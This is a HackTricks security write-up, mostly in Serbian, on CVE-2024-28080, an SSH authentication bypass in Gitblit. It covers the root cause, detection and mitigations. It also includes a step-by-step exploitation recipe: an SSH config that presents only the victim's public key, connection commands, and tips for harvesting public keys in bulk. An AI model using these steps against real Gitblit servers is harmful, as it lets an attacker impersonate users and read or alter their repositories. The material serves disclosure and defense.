Gitblit Embedded SSH Auth Bypass (CVE-2024-28080)

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Sažetak

CVE-2024-28080 je authentication bypass u Gitblit‑ovom embedded SSH servisu zbog incorrect session state handling pri integraciji sa Apache MINA SSHD. Ako korisnički nalog ima bar jedan SSH public key registrovan, napadač koji zna username i neki od public keys tog korisnika može se autentifikovati bez private key i bez password‑a.

  • Affected: Gitblit < 1.10.0 (observed on 1.9.3)
  • Fixed: 1.10.0
  • Requirements to exploit:
  • Git over SSH enabled on the instance
  • Victim account has at least one SSH public key registered in Gitblit
  • Attacker knows victim username and one of their public keys (often discoverable, e.g., https://github.com/.keys)

Glavni uzrok (state leaks between SSH methods)

U RFC 4252, public‑key authentication ide u dve faze: server prvo proverava da li je prosleđeni public key acceptable za dati username, i tek nakon challenge/response sa signature autentifikuje korisnika. U MINA SSHD, PublickeyAuthenticator se poziva dva puta: prilikom key acceptance (još bez signature) i kasnije nakon što klijent vrati signature.

Gitblit‑ov PublickeyAuthenticator je izmenio session context pri prvom, pre‑signature pozivu tako što je vezao autentifikovani UserModel za session i vratio true (“key acceptable”). Kada se kasnije autentikacija vratila na password, PasswordAuthenticator je verovao toj izmenjenoj session state i short‑circuited, vraćajući true bez validacije password‑a. Kao rezultat, bilo koji password (uključujući prazan) je bio prihvaćen nakon prethodne public‑key “acceptance” za istog korisnika.

High‑level flawed flow:

  1. Client offers username + public key (no signature yet)
  2. Server recognizes the key as belonging to the user and prematurely attaches user to the session, returns true (“acceptable”)
  3. Client cannot sign (no private key), so auth falls back to password
  4. Password auth sees a user already present in session and unconditionally returns success

Eksploatacija korak po korak

  • Prikupite username žrtve i jedan od njihovih public keys:
  • GitHub exposes public keys at https://github.com/.keys
  • Public servers often expose authorized_keys
  • Konfigurišite OpenSSH da predstavi samo public half tako da generisanje signature ne uspe, prisiljavajući fallback na password dok se i dalje pokreće public‑key acceptance path na serveru.

Example SSH client config (no private key available):

# ~/.ssh/config
Host gitblit-target
HostName <host-or-ip>
User <victim-username>
PubkeyAuthentication yes
PreferredAuthentications publickey,password
IdentitiesOnly yes
IdentityFile ~/.ssh/victim.pub   # public half only (no private key present)

Povežite se i pritisnite Enter pri upitu za lozinku (ili unesite bilo koji niz):

ssh gitblit-target
# or Git over SSH
GIT_SSH_COMMAND="ssh -F ~/.ssh/config" git ls-remote ssh://<victim-username>@<host>/<repo.git>

Autentifikacija uspeva zato što je ranija public‑key faza izmenila sesiju u autentifikovanog korisnika, a password auth pogrešno veruje tom stanju.

Napomena: Ako je ControlMaster multiplexing omogućen u vašem SSH configu, naredne Git komande mogu ponovo koristiti autentifikovanu konekciju, čime se povećava impact.

Impact

  • Potpuna impersonacija bilo kog Gitblit korisnika sa najmanje jednim registrovanim SSH public key
  • Read/write pristup repozitorijumima u skladu sa permisijama žrtve (source exfiltration, unauthorized pushes, supply‑chain risks)
  • Potencijalni administrativni uticaj ako se cilja admin korisnik
  • Čisti network exploit; nije potreban brute force ili private key

Detection ideas

  • Pregledajte SSH logove za sekvence u kojima pokušaj publickey bude praćen uspešnom password authentication sa praznim ili vrlo kratkim password-om
  • Potražite tokove: publickey metoda koja nudi nepodržani/neslagajući key material, nakon čega sledi trenutni password success za isti username

Mitigations

  • Ažurirajte Gitblit na v1.10.0+
  • Dok se ne ažurira:
  • Onemogućite Git over SSH na Gitblit, ili
  • Ograničite network pristup SSH servisu, i
  • Pratite sumnjive obrasce opisane gore
  • Promenite kredencijale pogođenih korisnika ako se sumnja na kompromitovanje

General: abusing SSH auth method state‑leakage (MINA/OpenSSH‑based services)

Pattern: Ako public‑key authenticator servera mutira user/session state tokom pre‑signature “key acceptable” faze, i drugi authenticators (npr. password) veruju tom stanju, možete zaobići autentifikaciju tako što ćete:

  • Predstaviti legitimni public key za ciljног korisnika (bez private key)
  • Prinuditi klijenta da ne uspe u signing-u tako da server pređe na password
  • Uneti bilo koji password dok password authenticator short‑circuits na leaked state

Praktični saveti:

  • Public key harvesting at scale: povucite public keys sa uobičajenih izvora kao što su https://github.com/.keys, organizacione direktorijume, team pages, leaked authorized_keys
  • Forcing signature failure (client‑side): postavite IdentityFile na samo .pub, set IdentitiesOnly yes, zadržite PreferredAuthentications da uključuje publickey pa password
  • MINA SSHD integration pitfalls:
  • PublickeyAuthenticator.authenticate(…) must not attach user/session state until the post‑signature verification path confirms the signature
  • PasswordAuthenticator.authenticate(…) must not infer success from any state mutated during a prior, incomplete authentication method

Related protocol/design notes and literature:

  • SSH userauth protocol: RFC 4252 (publickey method is a two‑stage process)
  • Historical discussions on early acceptance oracles and auth races, e.g., CVE‑2016‑20012 disputes around OpenSSH behavior

References

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks